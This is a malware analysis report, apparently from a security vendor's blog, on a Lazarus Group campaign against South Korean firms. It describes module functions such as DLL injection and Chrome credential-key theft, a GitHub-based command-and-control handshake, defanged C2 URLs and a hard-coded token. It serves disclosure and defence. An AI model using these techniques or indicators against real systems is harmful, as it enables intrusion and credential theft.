<td>Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: <code>xdkiTajAAxc3i/w[&lt;881fnC!G*cb1Dit2sh.gAk/</code></td> </tr> <tr> <td>43</td> <td>Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument</td> </tr> <tr> <td>44</td> <td>Get information about the specified directory</td> </tr> <tr> <td>45</td> <td>Get information about the specified drive</td> </tr> <tr> <td>46</td> <td>Inject the provided DLL payload into the target process</td> </tr> <tr> <td>47</td> <td>Unload the specified DLL from the specified process</td> </tr> <tr> <td>48</td> <td>Implementation of the <code>ipconfig</code> command</td> </tr> <tr> <td>49</td> <td>Implementation of the <code>net</code> command</td> </tr> <tr> <td>50</td> <td>Implementation of the <code>netsh advfirewall firewall</code> command</td> </tr> <tr> <td>51</td> <td>Implementation of the <code>netstat</code> command</td> </tr> <tr> <td>52</td> <td>Implementation of the <code>ping -6</code> command</td> </tr> <tr> <td>53</td> <td>Implementation of the <code>reg</code> command</td> </tr> <tr> <td>54</td> <td>Implementation of the <code>sc</code> command</td> </tr> <tr> <td>55</td> <td>Implementation of the <code>ping</code> command</td> </tr> <tr> <td>56</td> <td>Implementation of the <code>whoami</code> command</td> </tr> <tr> <td>57</td> <td>Implementation of the <code>nslookup</code> command</td> </tr> <tr> <td>58</td> <td>Implementation of the <code>schtasks</code> command</td> </tr> <tr> <td>59</td> <td>Implementation of the <code>systeminfo</code> command</td> </tr> <tr> <td>60</td> <td>Implementation of the <code>arp</code> command</td> </tr> <tr> <td>61</td> <td>Call the <code>CryptUnprotectData</code> function to retrieve the AES key that DPAPI protects. Extract the key using the <code>encrypted_key</code> keyword from Chromium’s Local State file located at: <code>%LOCALAPPDATA%\Google\Chrome\User Data\Local State</code></td> </tr> <tr> <td>62</td> <td>Not implemented</td> </tr> <tr> <td>63</td> <td>Not implemented</td> </tr> <tr> <td>64</td> <td>Read the specified file and decrypt it using an XOR operation with the key <code>0x59</code>. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: <code>xdkiTajAAxc3i/w[&lt;881fnC!G*cb1Dit2sh.gAk/</code></td> </tr> <tr> <td>65 ~ 79</td> <td>Not implemented</td> </tr> </tbody> </table> <p>Besides the modules, we also observed that the actor deployed various plugins and tools.</p> <table> <tbody> <tr> <td><strong>Type of payload</strong></td> <td><strong>Name</strong></td> <td><strong>Description</strong></td> </tr> <tr> <td>Plugin</td> <td>ADFinder (<code>AdFinder.dll</code>)</td> <td>Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names</td> </tr> <tr> <td>Plugin</td> <td>FileCollector (<code>Dll.dll</code>)</td> <td>Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each</td> </tr> <tr> <td>Tool</td> <td>Browser stealer</td> <td>Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies</td> </tr> <tr> <td>Tool</td> <td>Process collector</td> <td>Iterates over all running processes, collecting each process’s ID, path, and </td></tr></tbody></table></div></div></div></div></div></div> <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-2048x1024.jpg 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/sojunryu/"> <span>Sojun Ryu</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <p>In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s <a href="https://securelist.com/operation-synchole-watering-hole-attacks-by-lazarus/116326/" rel="noopener" target="_blank">Operation SyncHole</a>. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.</p> <div class="wp-caption aligncenter" id="attachment_121625-2" style="width: 1854px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN.png"><img alt="Operation FlashHole attack flow during initial compromise" aria-describedby="caption-attachment-121625-2" class="size-full wp-image-121625" decoding="async" height="1157" sizes="auto, (max-width: 1844px) 100vw, 1844px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN.png 1844w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-300x188.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-1024x642.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-768x482.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-1536x964.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-558x350.png 558w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-740x464.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-446x280.png 446w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-800x502.png 800w" title="Operation_FlashHole_scheme_011_EN" width="1844" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121625-2">Operation FlashHole attack flow during initial compromise</p></div> <p>Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.</p> <h2 id="background">Background</h2> <p>After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy <a href="https://securelist.com/apt-trends-report-q3-2021/104708/#southeast-asia-and-korean-peninsula" rel="noopener" target="_blank">the Racket downloader</a> and again in <a href="https://asec.ahnlab.com/en/33801/" rel="noopener" target="_blank">2022</a> and <a href="https://asec.ahnlab.com/en/55369/" rel="noopener" target="_blank">2023</a>. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.</p> <p>We noted that the spawned process was running with a high integrity level. The parent process, <code>INISAFECrossWebEXSvc.exe</code>, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after <a href="https://www.krcert.or.kr/kr/bbs/view.do?searchCnd=1&amp;bbsId=B0000133&amp;searchWrd=CrossWEB&amp;menuNo=205020&amp;pageIndex=1&amp;categoryCode=&amp;nttId=71030" rel="noopener" target="_blank">KrCERT’s public advisory</a>.</p> <p>As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a <a href="https://www.usenix.org/conference/usenixsecurity25/presentation/yun" rel="noopener" target="_blank">paper</a> was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.</p> <p>In July 2026, the South Korean government and several local security vendors also published a <a href="https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&amp;bbsId=B0000133&amp;searchWrd=&amp;menuNo=205020&amp;pageIndex=5&amp;categoryCode=&amp;nttId=72144" rel="noopener" target="_blank">joint security advisory</a> covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report <a href="https://image.ahnlab.com/atip/content/file/20260730/%5BAhnLab%5DOperation%20Double%20Barrel%28ENG%29%282026.07.30%29.pdf" rel="noopener" target="_blank">Operation Double Barrel</a> covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the <a href="#attr">attribution section</a>.</p> <h2 id="initial-infection-vector">Initial infection vector</h2> <p>Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.</p> <div class="wp-caption aligncenter" id="attachment_121574-2" style="width: 1531px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2.png"><img alt="Appearance of the malicious websites " aria-describedby="caption-attachment-121574-2" class="size-full wp-image-121574" decoding="async" height="666" sizes="auto, (max-width: 1521px) 100vw, 1521px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2.png 1521w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-300x131.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-1024x448.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-768x336.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-799x350.png 799w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-740x324.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-639x280.png 639w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141718/lazarus-operation2-800x350.png 800w" title="lazarus-operation2" width="1521" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121574-2">Appearance of the malicious websites</p></div> <p>The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (<a href="https://securelist.com/kimsuky-appleseed-pebbledash-campaigns/119785/">1</a>, <a href="https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthire/117842/">2</a>). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.</p> <div class="wp-caption aligncenter" id="attachment_121575-2" style="width: 1318px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3.png"><img alt="Suspected use of an AI-generated image on the résumé site" aria-describedby="caption-attachment-121575-2" class="size-full wp-image-121575" decoding="async" height="542" sizes="auto, (max-width: 1308px) 100vw, 1308px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3.png 1308w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-300x124.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-1024x424.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-768x318.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-845x350.png 845w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-740x307.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-676x280.png 676w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141801/lazarus-operation3-800x331.png 800w" title="lazarus-operation3" width="1308" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121575-2">Suspected use of an AI-generated image on the résumé site</p></div> <p>The websites contained embedded links that loaded an external JavaScript file via a script tag.</p> <ul> <li>Malicious link embedded in the résumé site: <code>hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js</code></li> <li>Malicious link embedded in interior design site: <code>hxxps://pythonapischool[.]com/api/detach</code></li> </ul> <p>Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain &lt;username&gt;.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.</p> <h2 id="full-infection-chain">Full infection chain</h2> <p>Following the initial compromise, the legitimate Windows binary <code>fsquirt.exe</code> was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.</p> <div class="wp-caption aligncenter" id="attachment_121576-2" style="width: 2570px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-scaled.png"><img alt="Initial infection chain" aria-describedby="caption-attachment-121576-2" class="size-full wp-image-121576" decoding="async" height="755" sizes="auto, (max-width: 2560px) 100vw, 2560px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-scaled.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-scaled.png 2560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-300x89.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-1024x302.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-768x227.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-1536x453.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-2048x604.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-1186x350.png 1186w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-740x218.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-949x280.png 949w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141854/lazarus-operation4-800x236.png 800w" title="lazarus-operation4" width="2560" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121576-2">Initial infection chain</p></div> <p>Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name <code>mscoree.dll</code>. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.</p> <div class="wp-caption aligncenter" id="attachment_121577-2" style="width: 2570px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-scaled.png"><img alt="Expanded infection chain after gaining persistence" aria-describedby="caption-attachment-121577-2" class="size-full wp-image-121577" decoding="async" height="1081" sizes="auto, (max-width: 2560px) 100vw, 2560px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-scaled.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-scaled.png 2560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-300x127.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-1024x432.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-768x324.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-1536x648.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-2048x865.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-829x350.png 829w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-740x312.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-663x280.png 663w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20141942/lazarus-operation5-800x338.png 800w" title="lazarus-operation5" width="2560" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121577-2">Expanded infection chain after gaining persistence</p></div> <p>Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.</p> <h2 id="malware-set">Malware set</h2> <p>The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.</p> <h3 id="techhub-the-start-of-the-chain">TechHub – the start of the chain</h3> <p>TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.</p> <p>This variant is a more advanced version of the malware named <a href="https://cloud.google.com/blog/topics/threat-intelligence/lightshow-north-korea-unc2970" rel="noopener" target="_blank">CLOUDBURST</a> by Mandiant and <a href="https://www.welivesecurity.com/en/eset-research/lazarus-luring-employees-trojanized-coding-challenges-case-spanish-aerospace-company/" rel="noopener" target="_blank">NickelLoader</a> by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.</p> <p>We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.</p> <p>When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range <code>0x1000–0xFFFF</code> or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request <code>GET /issues?state=[open/closed]</code> to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.</p> <ol> <li>It creates a new issue titled <code>1[ID]</code> with the body “hel” using the <code>POST /issues</code> request, and sets its status to open.</li> <li>It then retrieves a file from the repository containing the <code>2[ID]</code> value in its name. This file contains the RSA public key.</li> <li>It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with <code>1[ID]</code>, to the repository.</li> <li>The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.</li> </ol> <p>During file exchange, filenames follow the pattern <code>[1|2][ID][random-16-byte-key]</code> throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.</p> <p>After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using <code>PATCH /issues/[issue number]</code>. The malware is now fully prepared to receive commands from the repository.</p> <p>TechHub supports four commands. The <code>laeca</code> command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.</p> <table> <tbody> <tr> <td><strong>Command</strong></td> <td><strong>Description</strong></td> </tr> <tr> <td><code>mqdrz</code></td> <td>Collect information about the device and its running processes</td> </tr> <tr> <td><code>laeca</code></td> <td>Directly invoke the received shellcode in memory</td> </tr> <tr> <td><code>aqvxp</code></td> <td>Terminate the current process</td> </tr> <tr> <td><code>rtcya</code></td> <td>Beaconing after finishing the handshake process</td> </tr> </tbody> </table> <h3 id="cubridge-the-framework-orchestrator">Cubridge – the framework orchestrator</h3> <p>Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.</p> <p>To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern <code>[C2_URL]/[page1]/[page2]/[page3]</code>. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – <code>hxxps://cubedesign[.]co[.]kr/news/AABBCC</code> – associated with the examined instance that is configured to version 5.1. During URL generation, <code>AABBCC</code> is substituted with a null value. The <code>page3</code> segment is assigned a randomly generated integer between <code>10000000</code> and <code>99999999</code>. Consequently, each generated URL is designed to appear authentic and remain unique for each request.</p> <p>The predefined list for <code>page1</code> is shown below. TechHub randomly selects one item from the list.</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430d66995b584611363" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> economy, opinion, politics, national, international, medical, investment, sports, lifestyle, shopping, culture</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430d66995b584611363-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430d66995b584611363-1"><span class="crayon-v">economy</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">opinion</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">politics</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">national</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">international</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">medical</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">investment</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">sports</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">lifestyle</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">shopping</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">culture</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>The predefined word list for <code>page2</code> is shown below.</p><!-- Urvanov Syntax Highlighter v2.9.0 --> <div class="urvanov-syntax-highlighter-syntax crayon-theme-classic urvanov-syntax-highlighter-font-monaco urvanov-syntax-highlighter-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover wrap" id="urvanov-syntax-highlighter-6ae430d669968851478035" style=" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;"> <div class="urvanov-syntax-highlighter-plain-wrap"><textarea class="urvanov-syntax-highlighter-plain print-no" data-settings="dblclick" readonly="" style="-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;"> article, list, story</textarea></div> <div class="urvanov-syntax-highlighter-main" style=""> <table class="crayon-table"> <tr class="urvanov-syntax-highlighter-row"> <td class="crayon-nums" data-settings="show"> <div class="urvanov-syntax-highlighter-nums-content" style="font-size: 12px !important; line-height: 15px !important;"><div class="crayon-num" data-line="urvanov-syntax-highlighter-6ae430d669968851478035-1">1</div></div> </td> <td class="urvanov-syntax-highlighter-code"><div class="crayon-pre" style="font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;"><div class="crayon-line" id="urvanov-syntax-highlighter-6ae430d669968851478035-1"><span class="crayon-v">article</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">list</span><span class="crayon-sy">,</span><span class="crayon-h"> </span><span class="crayon-v">story</span></div></div></td> </tr> </table> </div> </div> <!-- [Format Time: 0.0001 seconds] --> <p>This means the hardcoded URL can later be transformed, for example, into <code>hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678</code> by following the steps described above.</p> <p>Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (<code>KW4Ofw982CNJjxd51AVqkGAop</code>), and a randomly generated 16‑byte hexadecimal session ID.</p> <p>Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using <code>X‑CSRF‑Token</code> and <code>X‑Requested‑With</code> headers for authentication and the <code>Upgrade‑Insecure‑Requests</code> header to request additional data.</p> <div class="wp-caption aligncenter" id="attachment_121578-2" style="width: 2265px"><a class="magnificImage" 